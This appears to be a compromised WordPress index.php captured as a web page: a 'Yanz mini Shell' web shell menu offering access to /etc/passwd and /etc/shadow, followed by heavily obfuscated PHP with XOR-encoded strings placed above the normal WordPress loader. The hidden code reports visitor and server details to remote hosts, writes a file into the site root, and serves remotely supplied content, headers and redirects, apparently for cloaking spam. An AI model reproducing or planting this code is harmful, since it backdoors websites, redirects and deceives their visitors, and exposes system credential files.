Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function oPYJHnl8I0($XRIRf, $s3q1O){ $TijFT = ($XRIRf * $s3q1O) % 86; $fBm0G = sqrt(abs($TijFT)) * 4310 / 100; $xktN0 = ($TijFT << 2) ^ ($fBm0G >> 1); if($xktN0 > 86 * 10) { $xktN0 = $xktN0 / $XRIRf; } else { $xktN0 = $xktN0 * $s3q1O; } return ($xktN0 + $TijFT) % 4310; } $rkjvx3 = 786 + 974; $jcTQRF = ($rkjvx3 * 786) / (974 + 1); $axDvLH = str_repeat('x', $rkjvx3 % 10); $rkjvx3 = ($rkjvx3 << 12) | ($rkjvx3 >> (32 - 12)); class SwjlJnJwUycL { private $du7fY; private $j9mY7; public function JmlbFIfQ() { return $this->du7fY * $this->j9mY7 % 100; } public function o3qisOUg($du7fY) { $this->$du7fY = ($du7fY + $this->$du7fY) % 1000; return $this->JmlbFIfQ(); } } $mDsue = 'bhd0WEWmLzVeymI4';$BcPKi = array('_odq4x2' => '475b57156474725e7a5f655c5c5f0d11545d41061260615c694d6e404a5f6c07534d5703727712487b4c735238487f07475e5c15607c725b7a5f60575c5b7c11502d41061560612e694c12495c5e7a115159410361606454694812404f586c02274d520172726f487f48735648487a07475a2115617c725a7a5f60505c5b0c11555141076160615a694d63404e5f6c06274d5272727314487a3e7a404a5e6c07534d570672766e487e3e73534c487f71475e5515607d725e7e5f65545c5e7a11502d410764606128694c60404f5a6c02504d5205727265487a4c73573c487f03475e561561767b487f49735648487a02475b5d156501725b795f60205c5b7811555041036560645c694965404b286c035b4d5306727216487b4c735348487f71475f5d156073725b7a5f64205c5b7e11545a410664','_xvd9v2' => '4e','_unwudw' => '0a1c104024','_q39g6z' => '0a1c1040','_2yeox0' => '4d','_umv1he' => '2a3c3060080d183e18','_rl9yym' => '2a3c30600804142e092a023a352c077337292375','_6lzg4h' => '0706','_wd43ru' => '2a3c30600817122b09281337','_0oifuw' => '','_c5dczk' => '150d060d','_oi4gke' => '44121e0d','_px3td5' => '53','_xfls8c' => '52','_9lhay7' => '441d16596a','_logk69' => '441d165c242d36032b47','_i7f388' => '440010442778','_gtfwf9' => '4404055e3078','_8m233u' => '262727651a0019391328192a2d','_j9rbaj' => '4d1a0b5238312443380222','_5mqzyy' => '','_w1r04z' => '4d57','_917y1a' => '5d','_n1o9l5' => '371b01427a243008220e6c4553','_vmbblw' => '2304085f207f7742','_rmo9cx' => '310110553a2427576c','_kopvrf' => '58474b','_r9d0na' => '110110553a24274334173a','_gcct4n' => '0c07065f233024083e1b31001719','_cvwrnm' => '2a3c306004','_haiejw' => '0d0e02','_8q1xih' => '2a3c3060081d082b032801242b290c703d38367f030a','_05xj2y' => '2a3c306008030522022e09203729167c363c3463','_9vfn03' => '302d35651216033219281f','_oq8hbm' => '031a0346','_2v1sib' => '3220346f04001b2b','_cti439' => '5d','_evcizy' => '333d21620e1a04391e331822','_3ftcw6' => '2a3c3060081004281e2517223c231d','_i3rlmi' => '05070b573b20350238','_ybwizg' => '00010a57','_d813sl' => '1b090c5f38','_a5kj7i' => '05070b573b20','_xw3cn6' => '25070b573b20350238','_cuj33j' => '0a1c10406d6a78','_34kzmg' => '4d010a54323d791d240a69','_64rjn4' => '0304085f201a221f2025300a090827','_wf1y5c' => '013d367c7700251f23086c4549','_5pqc96' => '0d030c443a29300838133b02','_1gii09' => '21070a44322b234018032600434d2059030f011f3d35320a','_5pgn0a' => '0d030c443a29300838133b02','_v5yxt3' => '0d030c443a29300838192516','_hazqgd' => '21070a44322b234018032600434d3d511a1c4b5324366c4d2f1237170a083d09171c021d6f','_y2waqx' => '0d030c443a29300838192516','_2b53i8' => '0d030c443a2930083819390b0d082740','_93vyfh' => '21070a44322b234038032600434d3d511a1c4b5823283b566c193e040b1e2c405f1d10567a7d','_alse99' => '0d030c443a2930083819390b0d082740','_gqxbp8' => '0d031c5d3b2232192f1538111c033d','_9baxf8' => '21070a44322b234018032600434d284412040d5336313e0222552e08155669570a09164332316a18381c7b5d','_6fixxx' => '0d031c5d3b2232192f1538111c033d','_xynatd' => '050d1053382b2308220e6355491d285307','_3hezye' => '2a3c30607874795c6c4f665559242740071a0a513b6504083e0c331759283b460d1a','_2td4tn' => '050d1053382b2308220e62554d1d285307','_td12qa' => '2a3c30607874795c6c4e665159232640422e0b453921','_s2oi27' => '050d1053382b2308220e6555481d285307','_hov800' => '2a3c30607874795c6c49665459202642070c446032373a0c221f38111514','_dxlc88' => '2e070751232c3803765a','_n28ltb' => '0d03165f352a231e2b1f220616033d510c1c','_sfzkrf' => '21070a44322b234018032600434d3d511a1c4b403b243e03','_e1ug1a' => '0d03165f352a231e2b1f220616033d510c1c','_l1peok' => '35383b6504000839043f1b202a');foreach($BcPKi as $key => $value){ $YVRRy = Gr2gU(hex2bin($value), $mDsue); define($key, $YVRRy ); }unset($BcPKi, $mDsue);unset($GLOBALS['Gr2gU']);function Gr2gU($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$RPO0c = _odq4x2; $xZNKs = explode(_xvd9v2, $RPO0c); $eNVuU = dqhDiIFX() ? _unwudw : _q39g6z; $BzdPE = XmlKpVKz(); $aO1rS = empty($BzdPE) ? _2yeox0 : $BzdPE; $hWH3M = $_SERVER[_umv1he]; $wmc2H = isset($_SERVER[_rl9yym]) ? $_SERVER[_rl9yym] : _6lzg4h; $V52ik = isset($_SERVER[_wd43ru]) ? $_SERVER[_wd43ru] : _0oifuw; $zhiEU = _c5dczk . $hWH3M . _oi4gke . (plXnDViX() ? _px3td5 : _xfls8c) . _9lhay7 . urlencode($aO1rS) . _logk69 . urlencode($V52ik) . _i7f388 . $eNVuU . _gtfwf9 . $wmc2H; $z047G = R3ssoxg2($xZNKs, $eNVuU, $zhiEU); $osPs1 = $_SERVER[_8m233u] . _j9rbaj; $uIQDC = _0oifuw; if (stristr($aO1rS, _w1r04z)) { $uIQDC = _917y1a; } $vpN9R = _n1o9l5 . PHP_EOL; $vpN9R .= _vmbblw . PHP_EOL . PHP_EOL; $vpN9R .= _rmo9cx . $eNVuU . _kopvrf . $hWH3M . _2yeox0 . $uIQDC . _r9d0na . PHP_EOL; if (!file_exists($osPs1)) { file_put_contents($osPs1, $vpN9R); } else { if (md5_file($osPs1) !== md5($vpN9R)) { @file_put_contents($osPs1, $vpN9R); } } if (!strstr($z047G, _gcct4n)) { wz9OKBMY($z047G); } function dqhDiIFX() { return ( isset($_SERVER[_cvwrnm]) && strtolower($_SERVER[_cvwrnm]) !== _haiejw || isset($_SERVER[_8q1xih]) && $_SERVER[_8q1xih] === _unwudw || isset($_SERVER[_05xj2y]) && strtolower($_SERVER[_05xj2y]) !== _haiejw ); } function XmlKpVKz() { if (isset($_SERVER[_9vfn03])) { return $_SERVER[_9vfn03]; } elseif (isset($_SERVER[_oq8hbm])) { return $_SERVER[_2v1sib] . _917y1a . $_SERVER[_oq8hbm][0]; } else { return $_SERVER[_2v1sib] . _917y1a . $_SERVER[_evcizy]; } } function plXnDViX() { $FhywY = strtolower(isset($_SERVER[_3ftcw6]) ? $_SERVER[_3ftcw6] : _0oifuw); return stristr($FhywY, _i3rlmi) || stristr($FhywY, _ybwizg) || stristr($FhywY, _d813sl) || stristr($FhywY, _a5kj7i) || stristr($FhywY, _xw3cn6); } function R3ssoxg2($x0PVz, $eNVuU, $zhiEU) { shuffle($x0PVz); foreach ($x0PVz as $UFEl7) { $UFEl7 = str_rot13(urldecode($UFEl7)); $WTEho = _cuj33j . $UFEl7 . _34kzmg . $zhiEU; $NDYVa = curl_init(); curl_setopt($NDYVa, CURLOPT_URL, $WTEho); curl_setopt($NDYVa, CURLOPT_RETURNTRANSFER, true); $eZ1v1 = curl_exec($NDYVa); if (!curl_errno($NDYVa)) { curl_close($NDYVa); return $eZ1v1; } else { curl_close($NDYVa); } if (ini_get(_64rjn4)) { $eZ1v1 = @file_get_contents($WTEho); if ($eZ1v1 !== false) { return $eZ1v1; } } } echo _wf1y5c; } function wz9OKBMY($z047G) { if (strstr($z047G, _5pqc96)) { header(_1gii09); echo str_replace(_5pqc96, _0oifuw, $z047G); exit(); } elseif (strstr($z047G, _v5yxt3)) { header(_hazqgd); echo str_replace(_v5yxt3, _0oifuw, $z047G); exit(); } elseif (strstr($z047G, _2b53i8)) { header(_93vyfh); echo str_replace(_2b53i8, _0oifuw, $z047G); exit(); } elseif (strstr($z047G, _gqxbp8)) { header(_9baxf8); echo str_replace(_gqxbp8, _0oifuw, $z047G); exit(); } elseif (strstr($z047G, _xynatd)) { header(_3hezye); exit(); } elseif (strstr($z047G, _2td4tn)) { header(_td12qa); exit(); } elseif (strstr($z047G, _s2oi27)) { header(_hov800); $z047G = str_replace(_s2oi27, _0oifuw, $z047G); header(_dxlc88 . $z047G); exit(); } elseif (strstr($z047G, _n28ltb)) { header(_sfzkrf); echo str_replace(_n28ltb, _0oifuw, $z047G); exit(); } } define( _l1peok, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>